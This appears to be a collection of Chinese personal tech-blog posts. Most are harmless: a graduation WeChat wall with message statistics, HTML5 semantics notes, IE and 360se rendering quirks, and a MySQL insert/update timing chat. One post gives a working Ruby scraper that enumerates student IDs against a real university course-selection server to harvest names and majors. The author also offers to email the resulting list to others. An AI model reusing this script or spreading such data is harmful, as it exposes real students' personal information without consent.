谁是那晚的 Super Star ? ——微信墙数据的背后

2013年6月19日晚,在华中师范大学的大学生活动中心5楼正举办着我们的大学毕业晚会。立于舞台右侧的投影上滚动显示着现场发来的微信信息,这块实时互动的 微信墙 今晚无疑是抢够了风头……
 

?===准备===

我们的毕业晚会是订在6月19日晚,而我直到18日上午才得知晚会现场需要 微博墙 或 人人墙 进行互动。微博大屏幕需提前3天申请,人人墙需要提前48小时申请…… 依托第三方的微信墙成了最后的救命稻草
能想到微信墙还归因于在人人上面看到的一张 华科大同歌同行 微信墙的照片。多方考证后,到晚上确定使用微信时,发现这个由武大开发的第三方平台很不成熟,前端需要重写 O_o~ 神奇的是,这晚我正好中暑ing ~ 熬夜作罢,所有的压力都压到了第二天
19日早上5:30开始起床code,重写界面样式,添加单条放大功能,顺手修正信息展示中的一个逻辑错误(PS:微信墙作者的前端实力实在不敢恭维~ 好在他们还年轻,前途依旧无量 =.=)。完成这些后,进一步通过自己的服务器请求来中转跳过跨域问题,使 微信墙 可以随时随地在线访问到(http://wall.ichou.cn/)
然后就是在群里吼上一嗓子,收集BUG,Fix Bug …… 万幸bug很少,所以后面才勉强顺利一点
 

===现场===

wall

由于场地占用问题,入场准备比预计晚了半个多小时,加上投影设备没有提前就位,留给现场调试的时间几乎变成了零。与 赵一起搭完投影,连接好电脑后,发现完全不需要再调试程序了。也几乎与此同时,第一条现场微信出现在大屏幕上,是一个很顺利的开始
晚会现场网络状况略不理想,原计划监控后台的工作由于平台后台简陋的技术处理手段和糟糕的网速变得几乎不可能了,这也意味着当晚的微信将完全没有审核和删除机制(所幸在此处这一点并不那么重要~)。同样因为网络问题,现场大屏幕的电脑随时有断网的危险,这确实是折磨了我一个晚上的问题。另外,踩掉接线板的问题也让我颇为担心~ 可最终它还是发生了 =.=
总的来说,微信墙 表现还是足够强健稳定的,面对滔滔的刷屏并没有出现让我尴尬的技术故障,给同学四年的大家留下一个完美的回忆,这已经是我最欣慰的事了。
 

===后期分析===

晚会伊始,我预测当晚的微信量会超过2000,这个数据相比起微博墙、人人墙的3位数级数据量根本就是不可同日而语。这就是微信的优势——可以肆无忌惮的发送,而不用担心刷屏带来的其他影响。
最后的数据显示:
微信墙总微信数为 1837 条,活动现场为 1749 条 (离目标就差一点点了~)
通过每分钟微信条数显示:

per-min

从数据来看,郭珩的大腿和红色小裤裤毫不留情的荡涤了观众的底线,引来了全场最高的吐槽率,完胜!

全场的几次刷屏高潮分别出现在:

  1. 18:48 —— 晚会开场之前,大部分人刚刚进入刷屏模式,各种无节操的闲扯
  2. 19:23 —— 开场视频,满载大学四年回忆的视频和老师们的一句句赠言与祝福,同志们情绪立马就激动了~
  3. 19:38 —— 物院男女秀(貌似时这个名儿吧~),各种吐槽,小高潮
  4. 19:58 —— 郭老板劲装热舞登场,瞬间亮瞎全场,槽点从腹肌到腿毛无所不有,沸腾了~
  5. 20:58 —— 曹导开唱,开始全场飙泪~
  6. 21:08 —— 即将散场,各种桑感的道别、约定、呼叫声开始响起

PS:20:24~20:28 稍显沉默时因为那奇妙的光影视觉表演,大屏幕是关闭的 O_o~
好了,再来看看当晚的刷屏达人都是谁:
per-one
 
一晚80条的数据确实比较V5了,这连我也不得不认输了 =.=
其实我才是真正的刷屏发动机,可是我必须全身心的盯好微信墙,一刻也不能松懈,只发出了寥寥几条,不甘啊~~
最后来看看词频分析:
words
 
“求婚” 一词自然是本场当仁不让的主角,无可撼动的绝对存在。
“僵尸”一词排名如此靠前可以说是这次最出乎我意料的现象了,通信的节目看来也十分受欢迎嘛~
 

===打完收工===

好了,终于四年毕业了,终于赶在毕业前做了一点点有意义的事儿。
从大一开始,我参加了物院的每一届毕业晚会,总是有个什么打酱油的理由让我出现在现场,还在想到自己这届的时候可不可以玩缺席,终归还是没能如愿 O_o~
感谢彭月、郭老板、赵博涵、小胖子以及曹导对这面墙的大力支持~
其实呢,我偷偷的在墙里藏了一个secret. But nobody noticed it~ That’s a pity.
最后,还是祝同学们前程似锦吧~ 永远要记得为了自己所坚信的去奋斗,加油

华师网站漏洞报告:选课系统

漏洞地址:http://218.199.196.57/scripts/init
漏洞描述:输入学号即可得到姓名与专业
 
其实这个也算不上什么漏洞,只是设计者脑子进水了而已,这样的一来谁都可以拿到一份全华师本科生的 学号-姓名-专业 对照表
如果要从官方途径拿这个表可是要费些功夫的 而且据说12级的他们还怎么都不给是吧
那么就只能赞扬选课系统设计者的开源精神咯
写脚本 收走:

#华师选课系统漏洞利用 Ruby 版本
# encoding: utf-8
require ‘net/http’
require ‘uri’
require “iconv”
2012210001.upto(2012214600){|num|
uri = URI.parse(“http://218.199.196.57/scripts/init”)
req = Net::HTTP::Post.new(uri.path)
req.set_form_data(‘strVerify’ => ‘false’, ‘strUser’ => “#{num}”)
req.add_field(‘Cookie’, ‘iscookies=y; domain=218.199.196.57; path=/; expires=Sun, 30 Dec 2012 23:50:49 GMT’)
res = Net::HTTP.start(uri.host, uri.port) do |http|
http.request(req)
end
conv = Iconv.new(“utf-8”, “GBK”)
regex = /姓名.*<\/font>/
result = regex.match(conv.iconv(res.body)).to_s
if result.length != 0
#puts result[0,result.length-7]
fh = File.open(“2009.txt”, “a”)
fh.puts “#{num} ” << result[0,result.length-7]
fh.close
puts “#{num} OK!”
else
fh = File.open(“temp.txt”, “a”)
fh.puts “#{num} not exist!”
fh.close
puts “#{num} not find!”
end
}

这个页面访问会验证cookie是否可用,所以请求的时候带上个?iscookies=y?的 cookie 就好了
不想自己的采又正好需要一份的(比如做网站需要伪实名的),mail 我也阔以 =。=

Choosing Between article and section

写在前面的废话:
最近开始看《html5 Cookbook》
影印版对我来说还是是个挑战,不过对于早就习惯厚厚的全英文教材的我来说,还是比较Easy(祈祷这次四级能过?=。=)

<article>?和?<section>?是html5新增的两个主力标签元素,
虽然他们不像<header>,<footer>,<nav>那样个性鲜明,但是他们为结束?混乱<div>时代?带来了可能
按作者的意思,他们将为HTML DOM结构带来划时代的变革
 
1.与<div>的关系

section
Is the most generic of the new structural elements, containing content that can be grouped thematically or is related.
article
Is used for self-contained content that could be consumed independently of the page as a whole, such as a blog enry.

这是官方给出的定义,其实相当模糊的,特别是<section>的使用
而且<div>依旧是HTML5支持的一个标签,When to use <div> elements?

If you ever need a containing element?strictly for style purposes, div is the element to use. Just remember to focus on your content and avoid?unnecessary?use of div, such as when another elements is more semantic.

一句话总结:<div>乃语义化web结构之大敌,慎用!
 
2.<article>

article can be considered a specialized form of section.

<article>主要用于一篇单独的文章的包裹,比如 blog posts.
除此之外,<article>也可以用于下面的几种内容:

  • Video and accompanying transcript
  • News articles
  • Blog comments

 
3.<section>

section?is the most generic of the new structural elements, intended to simply group related content. However, it is nota generic container element like div. The content it groups must be related.

注意啦,这里有个关键字:group!

The core criterion for section: the grouped content is thematically related.

BUT WAIT! The spec further clarifies:

A general rule is that the section element is appropriate only if the element’s contents would be listed explicitly in the document’s outline.

也就是说,每个<section>不止是包裹一个group,还应该有一个heading(h1-h6) in each element.

If you want to use section, the content should have a natural heading.

总结一下:

  • Do not use section simply as a styling hook. Use divs and spans instead.
  • Do not use section if header, footer, aside, or article is more semantically appropriate for your content.
  • Do not use section unless the content has a natural heading.

 
好了,差不多就这么多了,今天收工,明天继续。。。

关于360se的某些行为研究

首先声明:此问题研究中,无定论,切勿偏信
最近遇到一个奇葩的问题,好不容易通过单独写IE6.css修复了IE6的样式问题,结果发现在IE8+360se的电脑上出现了IE6原来的BUG
会这样的原因其实很简单,因为我用了html注释的方式来hack

<!–[if lt IE 7]><link rel=”stylesheet” href=”ie6.css” type=”text/css”><![endif]–>

在360se+IE8下面,这个ie6.css并没有加载,然后在360se里面又按ie的方式渲染了,所以如此罢了
可是解决这个问题的过程中,发现了一些有趣的问题:
?注:本文中调试用的360se是6.0版本,带?开发人员工具台?功能,且已安装chrome
IE6+360se:
加载了ie6.css,页面正常渲染
打开调试台,居然是chrome的调试台?=。=(电脑已经装了chrome)
css3圆角支持,html5画板支持
IE8+360se:
没有加载ie6.css,页面坏了,表现出IE6的症状
打开调试台,这次出来的不是chrome的了,是IE8的调试台
浏览器模式:IE8 ?文本模式:IE7?(问题的关键所在?=。=)
css3圆角支持,html5画板支持
IE8:
没有加载ie6.css,页面正常渲染
打开调试台:浏览器模式:IE8??文本模式:IE8
css3圆角不支持,html5画板不支持
于是乎就有结论了,360那种怪异的渲染模式其实一点都不怪异,在IE8+里面开启兼容模式(兼容到IE7)时,也会出现相同的问题
换句话说:我的页面在IE7下面应该也是坏的,同样需要hack ?=。=~囧
至于到底是什么在影响IE8+对浏览器模式与文本模式的选择这个问题我也没有搞清楚,IE10里面还支持比IE7更低版本的兼容,如果兼容模式下是不可控的向下兼容那不是就是一个灾难?
加上上次测试 z-index的经验,我感觉这个应该是与html文档的声明有关系的,具体情况有待探究 o_O~

当 body 遭遇 Z-index=-1

首先声明,此问题探究ing,产生原因暂时不明?=。=
事情起因是我为了处理多层背景叠加层次问题而2B的对<body>标签使用了

position: relative; z-index:?-1;

然后发现整个世界在IE里都崩溃了 o_O~
下面是一段关于这个问题的典型表现

<!DOCTYPE html>
<HTML>
<HEAD> <TITLE>z-index对hover区域的影响</TITLE>
<style>
body {position: relative; z-index:?-1;}
a {display: block;background:?#dddddd;width: 400px;height: 200px;border: 20px solid #333333;}
a:hover {color: red;}
</style> </HEAD>
<BODY>
<a href=”http://blog.braingit.com/”>braingit</a>
</BODY>

运行效果:?dome
症状表现:
如果是你是IE8以上,那么会奇迹的发现只有当鼠标位于文字或边框上面才会有hover的效果,也就是说变成了只有拥有实际内容的区域才是hover的热区
IE7没有测试,从兼容模式来看有可能是正常的
Chrome,FF 表现正确(准确的说因该是符合预期)
IE6 待测……
触发条件:
浏览器:IE8+
文档声明(即<!DOCTYPE bala bala~):不确定
样式和对象:body标签被设置为 z-index:?-x
(PS:只有设置body才会触发,如果是其他父层元素不会产生此问题)
对于IE7表现正确的解读:
由于整个页面应该是只有body元素有定位属性,所以并不满足IE6/7那个著名的z-index bug的产生条件
因此IE7表现正常的话我猜测也许和?<!DOCTYPE html>?的声明有关,因为它的内容决定了浏览器对html文档的解读方式,此处设置为空浏览器就会按照默认的“标准”方式来解析,而IE7遵循的标准解析方式可能并不会产生这个bug
关于原因:
我的答案是——“我完全想象不出原因,因为这不科学”
回头找机会向大神请教去,说不定是个很普通的问题,说不定我又在范2…………

关于IE下UTF8与UTF-8的问题

记得老早以前热心于前端的时候有在书上看到过:Content-Type里面不要使用UTF8,虽然它跟UTF-8是同样的意思,但是IE不支持这种识别。。。 想必当时肯定大骂IE吧,你能更奇葩点吗?
不过在后来的实际情况中貌似从未遇到过这个问题, 首先,大神们已经营造了一个很好的环境,估计现在要在某个网页的<mate>头里找到UTF8比找到恶意代码还要难 再者,那些使用自动完成的coder从一开始就注定写不出UTF8吧 说到底,估摸很多人根本就不知道两者有什么不同呢。。。
不过昨天我终于遇到了,说来有些偶然,算邂逅?
在用ajax请求时,返回的东西是一个字符串,由于返回的信息太简单,我连json都不想用了,直接echo了 然后发现在IE里面返回值居然是undefiend
开始以为是异步问题,后来想想自己是在回掉函数里面操作的,绝对不会存在 异步/同步 的问题的
然后在一个毫不起眼的百度知道里看到了真相 UTF8/UTF-8 一看返回hml的http头:

键?值 Content-Type?text/html; charset=UTF8

擦?页面里没写?charset 输出头居然自动设置成utf8了 我的整站都是utf-8,就不知道它这是要闹那般
没办法 加上?Content-Type?text/html; charset=UTF8的header 问题搞定
欲知详情 谷歌>百度

PHP对mysql执行insert or update各种方法性能研究

insert or update是每个程序猿必然会遇到的问题,相信大家都有自己拿手的处理方式
可是说到底哪种方式才是最优的估计就没几个人说得上来了吧
于是在一个寂寥无人的晚上,我在php技术交流群里掀起了这个话题,结果。。。只有一个人理我——一行。

来 今晚的议题是:mysql执行insert or updata最便宜的方法
便宜?
就是最高效的 在算法里 越少的计算量称为越便宜

你说说哪种方案好?
这个 第二个好吧 至少看上去是的
用第二种是不是是直接找到name然后插入两条,而第一中会去找两次name?
还是说两个的存储过程是一模一样的,都会先找name,再插入数据?
别用三流程序员的方式来交流嘛
写个for看下你就懂了
好 马上去试
for 1k
0.4703 第一种方法

(沉默~沉默~沉默~~写了个全角等号没看出来,因为报错调试十分钟~~)
0.0427 第二种方法

这个时间包含了php执行的时间
== 我发现执行时间很不稳定 =。=
好吧 各种百度后我发现 我不知道怎么测
但是从无数次(夸张)刷新的平均值来看 感觉第二种要快一点
当然啊!
有什么方法可以测得更直接点 CI里没有测数据库操作时间的方法 貌似 所以我用了执行过程时间 这个出来的值波动忒大
我也是用microtime计算
http://www.itpub.net/ 这里的DBA还是很多的
http://space.itpub.net/?uid-28274571-action-viewspace-itemid-746986
向MySQL数据库循环插入记录的存储过程

时值夜半两点,聊天就此结束
至于用什么方法 insert/update 好,从原理上应该很清晰了吧
作为数据库,索引速度是至关重要的,mysql的机制还是相当聪明的。做程序猿,用物得用其极,如果只是简单粗暴的解决问题,和那些只会套模板的“设计师”有什么区别?
在《黑客与画家》中 作者将 hacker分为两种:
一种是优雅而巧妙的解决问题的人
一种是用简单却粗暴的解决问题的人
同一个名称,却激起人两种截然不同的情绪色彩
对我而言,就像投入天空的人,迅速分化为 飞行 与 漂浮 两个种类一样